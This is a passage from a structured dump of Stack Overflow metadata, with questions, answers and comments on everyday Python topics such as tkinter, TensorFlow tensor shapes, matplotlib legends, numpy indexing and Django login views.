ActiveWorkbook.SaveAs Filename:="F:\Load_Forecasts.csv", FileFormat:=xlCSV End Sub
type: UnansweredQuestion
tagged with: python
tagged with: excel
score: 1
has title: Excel File is [Read Only] file: How to change it so edits can be made to the excel file?
downvote count: 0
answer count: 1
tagged with: vba

http://stackoverflow.com/a/46948797
downvote count: 0
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/46948606
type: AcceptedAnswer
has body: Your problem is the parent of your PageNew: self.frames["PageNew"] = PageNew(parent=tk.Frame(self), controller=self) Its parent is a Frame you create, but it is not packed inside the GUI so you won't see it, nor its child PageNew. In order for PageNew to be like the other pages, you need to give it the same parent, which is container here. Since you will need container outside of __init__, you need to make it an attribute of SampleApp, i.e. replace container = tk.Frame(self) by self.container = tk.Frame(self). And now, in add_new, you can create your PageNew with self.frames["PageNew"] = PageNew(parent=self.container, controller=self)
accepted answer of: http://stackoverflow.com/q/46948606

http://stackoverflow.com/q/46960426
tagged with: ssl
has answer: http://stackoverflow.com/a/48941553
type: Question
has title: Firebase - SSL error trying to post URL
answer count: 2
has answer: http://stackoverflow.com/a/70120517
type: UnansweredQuestion
tagged with: firebase-realtime-database
linked to: http://stackoverflow.com/q/38815375
tagged with: python
has body: I am trying to make a post request to the firebase but I am facing an error that has not occurred before with the same code. My internet connection is through a 2G-Modem on my embbedded linux (Ubuntu 16.04) device (Orange Pi 2g IoT) and I had no problem so far by running a Python 2.7 script on it and posting the URL. But now suddenly I started experiencing the following error as I execute my code: root@OrangePi:~# [ 5218.307887] rc.local[395]: Traceback (most recent call last): [ 5218.308805] rc.local[395]: File "/root/TEST/Timekeeper.py", line 38, in &lt;module&gt; [ 5218.309607] rc.local[395]: send_event = firebase.post('/device', new_event) [ 5218.310542] rc.local[395]: File "/usr/local/lib/python2.7/dist-packages/firebase/decorators. [ 5218.311748] rc.local[395]: return f(*args, **kwargs) [ 5218.312254] rc.local[395]: File "/usr/local/lib/python2.7/dist-packages/firebase/firebase.py [ 5218.314531] rc.local[395]: connection=connection) [ 5218.315074] rc.local[395]: File "/usr/local/lib/python2.7/dist-packages/firebase/decorators. [ 5218.315506] rc.local[395]: return f(*args, **kwargs) [ 5218.315895] rc.local[395]: File "/usr/local/lib/python2.7/dist-packages/firebase/firebase.py [ 5218.317208] rc.local[395]: timeout=timeout) [ 5218.317692] rc.local[395]: File "/usr/local/lib/python2.7/dist-packages/requests-2.18.4-py2. [ 5218.320210] rc.local[395]: return self.request('POST', url, data=data, json=json, **kwargs [ 5218.320780] rc.local[395]: File "/usr/local/lib/python2.7/dist-packages/requests-2.18.4-py2. [ 5218.321206] rc.local[395]: resp = self.send(prep, **send_kwargs) [ 5218.322444] rc.local[395]: File "/usr/local/lib/python2.7/dist-packages/requests-2.18.4-py2. [ 5218.324416] rc.local[395]: r = adapter.send(request, **kwargs) [ 5218.325043] rc.local[395]: File "/usr/local/lib/python2.7/dist-packages/requests-2.18.4-py2. [ 5218.325572] rc.local[395]: raise SSLError(e, request=request) [ 5218.325990] rc.local[395]: requests.exceptions.SSLError: HTTPSConnection…
score: 0
tagged with: ubuntu-16.04

python-requests
tags question: http://stackoverflow.com/q/47044241
tags question: http://stackoverflow.com/q/47040249
tags question: http://stackoverflow.com/q/46988220
tags question: http://stackoverflow.com/q/46986958
tags question: http://stackoverflow.com/q/46913051
tags question: http://stackoverflow.com/q/46979675
tags question: http://stackoverflow.com/q/46992156
tags question: http://stackoverflow.com/q/46991783
tags question: http://stackoverflow.com/q/46922092
tags question: http://stackoverflow.com/q/47062314
type: Tag
tags question: http://stackoverflow.com/q/47048448
tags question: http://stackoverflow.com/q/47047440
tags question: http://stackoverflow.com/q/46939276
tags question: http://stackoverflow.com/q/46947115
tags question: http://stackoverflow.com/q/47062674
tags question: http://stackoverflow.com/q/46994688
tags question: http://stackoverflow.com/q/46925381
tags question: http://stackoverflow.com/q/47027655
tags question: http://stackoverflow.com/q/46994563
tags question: http://stackoverflow.com/q/46987818
tags question: http://stackoverflow.com/q/46995486
tags question: http://stackoverflow.com/q/47056398
tags question: http://stackoverflow.com/q/47045162
tag name: python-requests
tags question: http://stackoverflow.com/q/47005652
tags question: http://stackoverflow.com/q/46920862
tags question: http://stackoverflow.com/q/46918321
tags question: http://stackoverflow.com/q/46923026
tags question: http://stackoverflow.com/q/47039874
tags question: http://stackoverflow.com/q/47010745
tags question: http://stackoverflow.com/q/47041222
tags question: http://stackoverflow.com/q/46998532
tags question: http://stackoverflow.com/q/46978713
tags question: http://stackoverflow.com/q/47044392
tags question: http://stackoverflow.com/q/46985091
tags question: http://stackoverflow.com/q/47020470
tags question: http://stackoverflow.com/q/46951248
tags question: http://stackoverflow.com/q/46932045

rss
type: Tag
tags question: http://stackoverflow.com/q/46990673
tag name: rss

http://stackoverflow.com/q/46959173
has answer: http://stackoverflow.com/a/46959418
score: 0
has body: I'm running a simple univariate logistic regression program written in Tensorflow. I can't, however, get my shapes properly from my training set to the x placeholder. I've been trying various methods to do so, I'm always getting the error: ValueError: Cannot feed value of shape (70,) for Tensor 'Placeholder_1:0', which has shape '(?, 1)' This is from the tf.matmul command. Printing the shapes of the relevant variables: w = &lt;tf.Variable 'Variable:0' shape=(1, 1) dtype=float32_ref&gt; x = Tensor("Reshape:0", shape=(?, 1), dtype=float32) train_x = (70, 1) The problem seems to be that even through the train_x array has a shape of (70, 1) TF doesn't seem to recognize this. How do I fix this problem? I've been trying the reshape command, but without success. Here's the code. #!/usr/bin/env python3 import tensorflow as tf import numpy as np import pandas as pd import matplotlib.pyplot as plt from sklearn import model_selection import sys gender_df = pd.read_csv('data/binary_data.csv',dtype = {col: np.float32 for col in ['HEIGHT'] }) print (gender_df.info()) # Shuffle our data gender_df = gender_df.sample(frac=1).reset_index(drop=True) num_features = 1 num_classes = 1 # We'll go ahead and split the data set into training and testing parts. # 70 per cent will go to training, the rest to testing. train_x,test_x, train_y, test_y = model_selection.train_test_split(gender_df['HEIGHT'],gender_df['GENDER'],test_size = 0.3) n_samples = train_x.shape[0] # These will be the placeholders for the testing and training data x = tf.placeholder('float',[None,num_features+1]) y = tf.placeholder('float',[None,num_classes]) # Variables for the weight and bias. W = tf.Variable(tf.zeros([num_features, num_classes])) b = tf.Variable(tf.zeros([num_classes])) x = tf.reshape(x,[-1, num_features]) train_x = train_x.values.reshape(-n_samples,num_classes) print ('w = ',W) print ('x = ',x) print ('train_x = ', train_x.shape) # This is our activation function to determine the probability # of our gen…
answer count: 1
tagged with: tensorflow
type: Question
type: UnansweredQuestion
has title: Trying to properly shape tensors in tensorflow. Can't get the dimensions correct
tagged with: python

http://stackoverflow.com/a/46920178
has comment: http://stackoverflow.com/comment/80788490
has comment: http://stackoverflow.com/comment/80788195
upvote count: 2
score: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/46919770
has comment: http://stackoverflow.com/comment/80788047
accepted answer of: http://stackoverflow.com/q/46919770
has comment: http://stackoverflow.com/comment/80788327
type: Answer
has body: when pandas call check is_file_like it invalidate does object has read and __iter__ methods, is_file_like, so you can try: import pandas as pd file_name = 'plain.txt' class FileWrap: def __init__(self, path): self.file = open(path) def __iter__(self): self.file.readline().rstrip() def read(self, *args, **kwargs): return self.file.read() df = pd.read_csv(FileWrap(file_name), header=None) print (df)

http://stackoverflow.com/comment/81009913
type: QuestionComment
has text: Not with boolean indexing, which by definition needs that boolean array. But alternatively : `2*a-1` for such an array of 1s and 0s.
score: 1
comment on: http://stackoverflow.com/q/47031768
type: Comment

http://stackoverflow.com/a/46961730
type: Answer
score: 0
answers question: http://stackoverflow.com/q/46960566
has body: If I understood well your question, you just have to start over after get the index 7, like this: channels_list = ['102 BBC Two', '103 ITV', '104 Channel 4', '105 Channel 5', '106 Sky One', '107 Sky Living', '108 Sky Atlantic'] channel_index = 0 #set the channels text in the label for program_id in range(361, 375): print(channels_list[channel_index]) channel_index += 1 if(channel_index == 7): channel_index = 0 the output will be: 102 BBC Two 103 ITV 104 Channel 4 105 Channel 5 106 Sky One 107 Sky Living 108 Sky Atlantic 102 BBC Two 103 ITV 104 Channel 4 105 Channel 5 106 Sky One 107 Sky Living 108 Sky Atlantic

http://stackoverflow.com/q/46923316
has title: Comparing lists with objects
has comment: http://stackoverflow.com/comment/80793879
type: Question
answer count: 2
has body: Let's say I have 2 lists list1 = [] list2 = [] and a dictionary dict = {'SNo': 1, 'Data': "Random Data"} Let the list1, list2 contain multiple instances of this dictionary with different SNo and data. Some of the SNo may be same. But the Data need not be. I want to merge (and sort) these 2 lists based on the SNo , maintaining their structure while ignoring the ones with the same SNo. Assumption: If the list of dictionaries have the same SNo, then list2's entry is ignored.
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/46923443
accepted answer: http://stackoverflow.com/a/46923443
type: AnsweredQuestion
score: 0
tagged with: list
has answer: http://stackoverflow.com/a/46923495
possible better answer: http://stackoverflow.com/a/46923495

http://stackoverflow.com/q/47006268
tagged with: matplotlib
tagged with: legend
linked to: http://stackoverflow.com/q/26558816
type: Question
duplicate of: http://stackoverflow.com/q/26558816
score: 37
answer count: 2
possible better answer: http://stackoverflow.com/a/47006404
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/47006404
tagged with: plot
favorite count: 0
accepted answer: http://stackoverflow.com/a/47006391
type: AnsweredQuestion
has body: I'd like to make this kind of scatter plot where the points have colors specified by the "c" option and the legend shows the color's meanings. The data source of mine is like following: scatter_x = [1,2,3,4,5] scatter_y = [5,4,3,2,1] group = [1,3,2,1,3] # each (x,y) belongs to the group 1, 2, or 3. I tried this: plt.scatter(scatter_x, scatter_y, c=group, label=group) plt.legend() Unfortunately, I did not get the legend as expected. How to show the legend properly? I expected there are five rows and each row shows the color and group correspondences.
has answer: http://stackoverflow.com/a/47006391
upvote count: 37
has title: Scatter plot with color label and legend specified by c option

http://stackoverflow.com/comment/80992975
type: Comment
has text: The text says "at the end", and the examples make it clear what he means by that. He doesn't mean just the last character, he means in a sequence at the end.
type: AnswerComment
comment on: http://stackoverflow.com/a/47021655
score: 1

http://stackoverflow.com/comment/81039832
score: 0
comment on: http://stackoverflow.com/q/47045597
type: QuestionComment
type: Comment
has text: oh , sorry i think it can be delited

http://stackoverflow.com/q/46923717
has body: What's the fastest way of returning the index of the FIRST match between a variable and an element within an ndarray? I see numpy.where used a lot, but that returns all indices. match = 5000 zArray = np.array([[0,1200,200],[1320,24,5000],[5000,234,5230]]) &gt;array([[ 0, 1200, 200], [1320, 24, 5000], [5000, 234, 5230]]) numpy.where(zArray==match) &gt;(array([1, 2], dtype=int64), array([2, 0], dtype=int64)) I'd like the first index returned, i.e. just [1,2]. but numpy.where returns both [1,2] and [2,0]
has title: numpy - return first index of element in array
has answer: http://stackoverflow.com/a/46923783
tagged with: numpy
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80794424
duplicate of: http://stackoverflow.com/q/432112
has comment: http://stackoverflow.com/comment/80794499
tagged with: arrays
answer count: 1
has comment: http://stackoverflow.com/comment/80794936
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80794644
upvote count: 5
linked to: http://stackoverflow.com/q/432112
duplicate of: http://stackoverflow.com/q/7632963
tagged with: python
score: 4
accepted answer: http://stackoverflow.com/a/46923783

http://stackoverflow.com/comment/80930566
score: 0
comment on: http://stackoverflow.com/a/46990895
has text: @stucash You are welcome. Don't forget to mark the answer ;-)
type: Comment
type: AnswerComment

http://stackoverflow.com/a/46955553
type: AcceptedAnswer
type: Answer
has body: You can dynamically set the stride (3rd argument) when calling range, like this: range(x, y, 1 if x &lt; y else -1) ranges = [] for x, y in zip(l1, l2): ranges.append(list(range(x, y, 1 if x &lt; y else -1))) ranges # [[1], [3, 2], [1, 2, 3, 4, 5, 6, 7, 8, 9], [2, 3, 4], [10, 9, 8, 7, 6]] P.S., I prefer using a loop to solve this as I do not recommend using list comprehensions for side effects.
answers question: http://stackoverflow.com/q/46955479
score: 7
accepted answer of: http://stackoverflow.com/q/46955479
downvote count: 1
upvote count: 8

http://stackoverflow.com/comment/81004745
comment on: http://stackoverflow.com/a/47028999
type: Comment
score: 0
type: AnswerComment
has text: `me.speak.first_name()` works without deleting `speak()`, because when you say `me.speak.first_name()`, it doesn't call `speak`, just uses it. OP wants to use `me.speak()`.

http://stackoverflow.com/q/47060661
score: 8
tagged with: aws-lambda
has comment: http://stackoverflow.com/comment/81412287
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81361578
has comment: http://stackoverflow.com/comment/81176869
upvote count: 8
type: UnansweredQuestion
tagged with: python
tagged with: amazon-web-services
linked to: http://stackoverflow.com/q/36913196
tagged with: flask-cors
has comment: http://stackoverflow.com/comment/81403560
has answer: http://stackoverflow.com/a/47127965
has answer: http://stackoverflow.com/a/47122179
has comment: http://stackoverflow.com/comment/81194554
tagged with: zappa
answer count: 2
has title: zappa custom authorizer for flask with cors
downvote count: 0
has body: I am using flask-cors for a aws python aws lambda API. I deployed it with zappa, it worked as intended. Yet cors does not work with custom authorizer inspired by https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/blob/master/blueprints/python/api-gateway-authorizer-python.py I changed the authorizer code with try/except and generate a policy for OPTION method on exception, still Option method returns 401. I do not mind a workaround if it makes things easy. Thanks I tried one of suggested solutions: that is to set headers for 401 responses in API Gateway, regretfully browser preflight expects a successful status code. Update. I felt back on implementing my authorizer, also considered using aws auth service.
has comment: http://stackoverflow.com/comment/81358329

http://stackoverflow.com/comment/80856925
comment on: http://stackoverflow.com/q/46954632
score: 0
has text: You have got the map. That is a good start. Now collect it in a container and be happy. `list(pool.map(reg, persons))` would be my first try as `list(map(reg, persons))` will set the attribute for all your `Person`s ;)
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47032283
has answer: http://stackoverflow.com/a/64598892
favorite count: 0
type: Question
has title: How to scatter plot a two dimensional list
type: AnsweredQuestion
score: 3
possible better answer: http://stackoverflow.com/a/47032495
upvote count: 5
tagged with: matplotlib
tagged with: python
has body: How can I scatter plot a list of pairs with each axis of the plot representing one of the value in the pair in python? My list looks like this [(62725984, 63548262), (64797631, 64619047), (65069350, 65398449), (58960696, 57416785), (58760119, 58666604), (60470606, 61338129), (60728760, 59001882)]
has answer: http://stackoverflow.com/a/47032495
has answer: http://stackoverflow.com/a/47032587
tagged with: scatter-plot
answer count: 3
accepted answer: http://stackoverflow.com/a/47032587
downvote count: 2

http://stackoverflow.com/a/46950573
has body: Well you can get domains with comprehension: domains = [''.join(i) + '.at' for i in product(ascii_lowercase, repeat=2)] And do the same with available_domains: available_domains = [d for d in domains if whois.query(d)] At least it is fewer lines :)
type: Answer
answers question: http://stackoverflow.com/q/46950347
score: 1
upvote count: 1
downvote count: 0

http://stackoverflow.com/comment/80916813
type: QuestionComment
comment on: http://stackoverflow.com/q/46984725
score: 2
has text: I don't see the need for `tempPossiblePairs`
type: Comment

http://stackoverflow.com/a/46923508
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/46923009
answers question: http://stackoverflow.com/q/46923009
score: 1
downvote count: 0
has body: Using string formatting d = {'VBP':{'CD': 4,'FW': 1,'JJ': 5,'NN': 61,'NNP': 6,'NNPS': 1, 'SYM': 2,'VB': 72,'VBD': 5,'VBG': 2,'VBZ': 1}, 'xyz':{'CD': 4,'FW': 1,'JJS': 1,'NN': 61,'NNP': 6,'NNPS': 1, 'UH': 19,'VB': 72,'VBD': 5,'VBP': 537,'VBZ': 1}} # find all the columns and all the rows, sort them columns = sorted(set(key for dictionary in d.values() for key in dictionary)) rows = sorted(d) # figure out how wide each column is col_width = max(max(len(thing) for thing in columns), max(len(thing) for thing in rows)) + 3 # preliminary format string : one column with specific width, right justified fmt = '{{:&gt;{}}}'.format(col_width) # format string for all columns plus a 'label' for the row fmt = fmt * (len(columns) + 1) # print the header print(fmt.format('', *columns)) # print the rows for row in rows: dictionary = d[row] s = fmt.format(row, *(dictionary.get(col, 'inf') for col in columns)) print(s) &gt;&gt;&gt; CD FW JJ JJS NN NNP NNPS SYM UH VB VBD VBG VBP VBZ VBP 4 1 5 inf 61 6 1 2 inf 72 5 2 inf 1 xyz 4 1 inf 1 61 6 1 inf 19 72 5 inf 537 1 &gt;&gt;&gt; Put it in a function that yields strings instead of printing them; iterate over the function writing the return value to the file.
type: AcceptedAnswer

http://stackoverflow.com/a/48674717
score: 1
type: Answer
has body: use clipboard import pyperclip from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC pyperclip.copy("some text") ActionChains(driver).move_to_element(driver.find_element_by_xpath("//TEXTAREA[@class='text']")).click().send_keys(Keys.CONTROL,'v').perform()
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/46985819

http://stackoverflow.com/q/47029768
favorite count: 0
type: Question
upvote count: 2
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/31373163
downvote count: 0
has comment: http://stackoverflow.com/comment/81006073
linked to: http://stackoverflow.com/q/32078005
score: 2
has comment: http://stackoverflow.com/comment/81007020
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/81090888
has title: Python crashes when importing matplotlib.pyplot
answer count: 1
tagged with: python
tagged with: macos
has answer: http://stackoverflow.com/a/47040016
has comment: http://stackoverflow.com/comment/81024499
has body: I am trying to import pyplot from matplotlib using: import matplotlib.pyplot as plt and i receive the following error which terminates my python program. My code was recently working on my old MacBook Pro 2012 running El Capitan. I am now running on a 2017 Macbook Pro with High Sierra... don't know if this has anything to do with it. I tried uninstalling and reinstalling Matplotlib using pip but still get the same issue. I'm using anaconda installation of Python. Help is appreciated! 2017-10-31 00:05:27.991 python[69256:37459662] -[TKWindow setCanCycle:]: unrecognized selector sent to instance 0x1030d41a0 2017-10-31 00:05:28.000 python[69256:37459662] *** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[TKWindow setCanCycle:]: unrecognized selector sent to instance 0x1030d41a0' *** First throw call stack: ( 0 CoreFoundation 0x00007fff2aedb0fb __exceptionPreprocess + 171 1 libobjc.A.dylib 0x00007fff517c9c76 objc_exception_throw + 48 2 CoreFoundation 0x00007fff2af73c34 -[NSObject(NSObject) doesNotRecognizeSelector:] + 132 3 CoreFoundation 0x00007fff2ae51510 ___forwarding___ + 1456 4 CoreFoundation 0x00007fff2ae50ed8 _CF_forwarding_prep_0 + 120 5 libtk8.5.dylib 0x00000001079eff9f ApplyWindowAttributeFlagChanges + 1124 6 libtk8.5.dylib 0x00000001079f0aa8 TkMacOSXApplyWindowAttributes + 51 7 libtk8.5.dylib 0x00000001079f0f86 TkMacOSXMakeRealWindowExist + 1189 8 libtk8.5.dylib 0x00000001079f112a TkWmMapWindow + 52 9 libtk8.5.dylib 0x000000010795a918 Tk_MapWindow + 65 10 libtk8.5.dylib 0x0000000107963469 MapFrame + 62 11 libtcl8.5.dylib 0x00000001078c0178 TclServiceIdle + 76 12 libtcl8.5.dylib 0x00000001078a5491 Tcl_DoOneEvent + 329 13 _tkinter.so 0x00000001063ea573 EventHook + 195 14 gnureadline.so 0x0000000104deb4ec call_readline + 364 15 libpython2.7.dylib 0x0000000100009000 PyOS_Readline + 256 16 libpython2.7.dylib 0x00000001000b8b55 builtin_raw_input + 597 17 libpython2.7.dylib 0x00000001000c3d7d PyEval_EvalFrameEx + 24989 18 libpytho…

http://stackoverflow.com/q/46936733
tagged with: arrays
downvote count: 0
has body: I am working in Cython. How can i declare a C array of a python class instances and then pass the array to a python function and work on it? cdef int n=100 class particle: def __init__(self): self.x=uniform(1,99) self.y=uniform(1,99) self.pot=0 cdef particle parlist[n] def CalPot(parlist[]): for i in range(N-1): pot=0 for j in range(i,N): dx=parlist[j].x-parlist[i].x dy=parlist[j].y-parlist[j].y r2=dx**2+dy**2 pot=pot+4*ep*r2*((sig/r2)**12 - (sig/r2)**6) parlist[i].pot=pot
tagged with: cython
upvote count: 1
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/46654304
has answer: http://stackoverflow.com/a/46937046
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/46940621
has title: c array with python class inside python function
has comment: http://stackoverflow.com/comment/80823109
linked to: http://stackoverflow.com/q/33851333
answer count: 2
score: 1

http://stackoverflow.com/a/46972579
has comment: http://stackoverflow.com/comment/80892954
type: Answer
score: 0
has body: There's a couple of indentation problems there: The for i in range(len(new_string)): loop only has one thing happening in it, which is setting new_ascii. When that loop finishes, i is equal to len(new_string) - 1, so it'll set the last character, but not any of the other ones. The new_string[i] = chr(new_ascii) line is where your code adds letters to the new string, but check your indentation - it's only happening when if string[i] in ascii_lowercase: is true, so only for lowercase letters. This should work: def caeser_encrypt(string, step): new_string = list(string) for i in range(len(new_string)): new_ascii = ord(new_string[i]) + step if string[i] in ascii_uppercase: if new_ascii &gt; 90: new_ascii = new_ascii - 90 + 64 elif new_ascii &lt; 65: new_ascii = 91 - 65 - new_ascii if string[i] in ascii_lowercase: if new_ascii &gt; 122: new_ascii = new_ascii - 122 + 96 elif new_ascii &lt; 97: new_ascii = 123 - 97 - new_ascii new_string[i] = chr(new_ascii) return ''.join(new_string)
answers question: http://stackoverflow.com/q/46972452

http://stackoverflow.com/comment/84907294
score: 0
type: Comment
has text: I'll this try as soon as I can---
type: AnswerComment
comment on: http://stackoverflow.com/a/48858452

http://stackoverflow.com/comment/80947747
has text: Thank you. You re completely right. But if I change the function and its jacobian with two variables, I obtain the same problem. I can send you the complete code which is a "more complex"
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47000071
type: Comment

http://stackoverflow.com/comment/80797300
comment on: http://stackoverflow.com/q/46924486
score: 0
has text: @AdrianLeeXinhan I deleted my answer. Please fix your question by adding the details I asked for or else this problem cannot be resolved.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47020949
has body: I see two problems with your code, As comments says, your comparing a float type to a str. Note that it is possible in Python 2 to compare mixed types for nonsensical answers, not in Python 3. You're comparing your again variable against 'g' only. which is clearly not what you want. Try this code : def main(): num_list = [] n = input('Your favorite number: ') again = 'g' while again in {'g','y'} : value = float(input('Enter a number: ')) if value &gt; float(n): num_list.append(value) print ('Would you like to enter another number?: ') again = input('y=yes, n=no') main()
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/80988752
answers question: http://stackoverflow.com/q/47020728
type: Answer

http://stackoverflow.com/comment/80906061
type: QuestionComment
type: Comment
has text: @Wyatt That's not quite what I'm asking. I still want the base test class to be usable in its own right. I have updated the question to clarify.
score: 0
comment on: http://stackoverflow.com/q/46978894

http://stackoverflow.com/a/50851643
has body: You currently define the login URL as: url(r'^login/$', views.login, template_name, name='login'), In Django 2.1, this deprecated functionality was removed. To fix the issue, you can change the line to: url(r'^login/$', views.LoginView.as_view(template_name=template_name), name='login'), See the authentication views documentation for more details.
type: Answer
upvote count: 13
score: 13
downvote count: 0
answers question: http://stackoverflow.com/q/46975657

http://stackoverflow.com/q/46907587
tagged with: radix
type: AnsweredQuestion
tagged with: list
accepted answer: http://stackoverflow.com/a/46907848
score: -1
has body: Okay so I am lost and stuck on how to make any further progress. This program will return the value of the user inputted base into a list like this [1, 2, 2]. I am trying to do two things. First, instead of a single number like userInt = 50 I want to be able to input userList = [50, 3, 6, 44] and then have the formula convert each number to the correct base. So if I converted this to a base 6, I would want the result to be: userNewList = [122, 3, 10, 112] I've tried this with a for loop but can't get it right and end up just throughing an int is not iterable type error. def baseConversion(userInt, base): remList = [] while(userInt &gt; 0): remList.append(userInt % base) userInt = userInt // base return (remList[::-1]) def main(): base = int(input('Enter a base: ')) userInt = 50 remList = baseConversion(userInt, base) baseConversion(userInt, base) print(remList) main() I appreciate any help you can offer.
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46907848
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/80763546
has title: Convert base to bases within 2 to 9
tagged with: python
downvote count: 1
favorite count: 0

http://stackoverflow.com/q/46912995
type: UnansweredQuestion
tagged with: if-statement
has title: Unable to keep a particular item and ignores the rest
tagged with: python
has answer: http://stackoverflow.com/a/46913802
score: 3
upvote count: 3
has body: I've written some code in python to scrape a particular item from three different sites. For each sites the item within elements are different. So, i had to create three different selectors to catch those. My script will look for a item in a site, then it goes after another if it fails to find in the first site and so on. What I wanna achieve is that if the scraper finds the item in it's first search which means in the first link then it will ignore the rest of the links and so on. However, the issue I'm facing is that if the scraper finds its desired item in link two and then again when it goes to the third link and does not find anything, it prints nothing. How can I fix my script so that it will stop searching any particular item as soon as it finds it in any of the links. The appearance of my script is more like the below one: import requests from lxml.html import fromstring list_urls = ['url1','url2','url3'] for link in list_urls: res = requests.get(link).text root = fromstring(res) try: item = root.cssselect(some_selector)[0].text except: item ="" try: item = root.cssselect(another_selector)[0].text except: item ="" try: item = root.cssselect(some_other_selector)[0].text except: item ="" print(item)
answer count: 1
downvote count: 0
tagged with: web-scraping
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80773540
tagged with: python-3.x

http://stackoverflow.com/a/47010648
type: Answer
score: 0
has body: You can use forward slashes in Windows as well, so you dont need raw string literals: &gt;&gt;&gt; import os &gt;&gt;&gt; os.stat(r'C:\Users\f3k\Desktop\excel.vbs') nt.stat_result(st_mode=33206, st_ino=0L, st_dev=0, st_nlink=0, st_uid=0, st_gid=0, st_size=555L, st_atime=1367585162L, st_mtime=1367586148L, st_ctime=1367585162L) Same using forward slashes: &gt;&gt;&gt; os.stat('C:/Users/f3k/Desktop/excel.vbs') nt.stat_result(st_mode=33206, st_ino=0L, st_dev=0, st_nlink=0, st_uid=0, st_gid=0, st_size=555L, st_atime=1367585162L, st_mtime=1367586148L, st_ctime=1367585162L) But take care using os.path.join(): &gt;&gt;&gt; os.path.join('C:/Users/f3k/Desktop', 'excel.vbs') 'C:/Users/f3k/Desktop\\excel.vbs'
answers question: http://stackoverflow.com/q/47010506

http://stackoverflow.com/a/46967184
type: Answer
answers question: http://stackoverflow.com/q/46967070
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46967070
has body: The IndexedBase type doesn't seem to be implemented for accessing data (but rather for notation purpose). See at http://docs.sympy.org/latest/modules/tensor/indexed.html the following statement: The main purpose of this class is to allow the convenient creation of objects of the Indexed class. The getitem method of IndexedBase returns an instance of Indexed. Maybe you could achieve what you want with a Matrix type?

http://stackoverflow.com/q/46936826
has body: I have a quick question regarding loops and iterable items in python. I have a data frame (DF) and the following loop: for i, col in DF.iteritems(): print(i) print(col) I am not sure if I have understood correctly how iterable items work. How does python know that i are the variable names of the data frame DF and col corresponds to the rows? I tried to look for some literature on this but couldn't find anything helpful. Can anyone explain this to me? Thank you
score: 0
has title: Python - loop and iterable items
tagged with: python
has answer: http://stackoverflow.com/a/46936918
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/46936906
type: UnansweredQuestion

http://stackoverflow.com/q/47012033
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80971524
type: UnansweredQuestion
tagged with: python
has title: Dynamically loading modules at runtime in Python 3
score: 4
has answer: http://stackoverflow.com/a/47012702
has comment: http://stackoverflow.com/comment/80970427
has comment: http://stackoverflow.com/comment/80989570
upvote count: 4
has body: Which is the recommended way to lazy load files in Python 3? I've built this function by copy-past from Python 2 code def get_command(self, ctx, cmd_name): ns = {} fn = os.path.join(cmd_folder, 'cmd_{}.py'.format(cmd_name)) with open(fn) as f: code = compile(f.read(), str(fn), 'exec') eval(code, ns, ns) return ns['cli'] but I'm not sure if it is the right way. It uses compile and eval EDIT After using import like this: def get_command(self, ctx, cmd_name): cmd_mod = import_module('{}.cmd_{}'.format(cmd_folder, cmd_name)) this is the result: File "aws_iam_cli/cli.py", line 23, in get_command cmd_mod = import_module('{}.cmd_{}'.format(cmd_folder, cmd_name)) File "/Users/salvatoremazzarino/awsiam/venv/lib/python3.6/importlib/__init__.py", line 126, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "&lt;frozen importlib._bootstrap&gt;", line 994, in _gcd_import File "&lt;frozen importlib._bootstrap&gt;", line 971, in _find_and_load File "&lt;frozen importlib._bootstrap&gt;", line 941, in _find_and_load_unlocked File "&lt;frozen importlib._bootstrap&gt;", line 219, in _call_with_frames_removed File "&lt;frozen importlib._bootstrap&gt;", line 994, in _gcd_import File "&lt;frozen importlib._bootstrap&gt;", line 971, in _find_and_load File "&lt;frozen importlib._bootstrap&gt;", line 953, in _find_and_load_unlocked ModuleNotFoundError: No module named '/Users/salvatoremazzarino/awsiam/aws_iam_cli/commands' EDIT #2: def get_command(self, ctx, cmd_name): mod = import_module('aws_iam_cli.commands.cmd_{}' .format(cmd_name)) return mod.cli and the error: File "/Users/salvatoremazzarino/awsiam/venv/lib/python3.6/importlib/__init__.py", line 126, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "&lt;frozen importlib._bootstrap&gt;", line 994, in _gcd_import File "&lt;frozen importlib._bootstrap&gt;", line 971, in _find_and_load File "&lt;frozen importlib._bootstrap&gt;", line 941, in _find_and_load_unlocked File "&lt;…
has comment: http://stackoverflow.com/comment/80970470
answer count: 1
downvote count: 0

http://stackoverflow.com/a/47003696
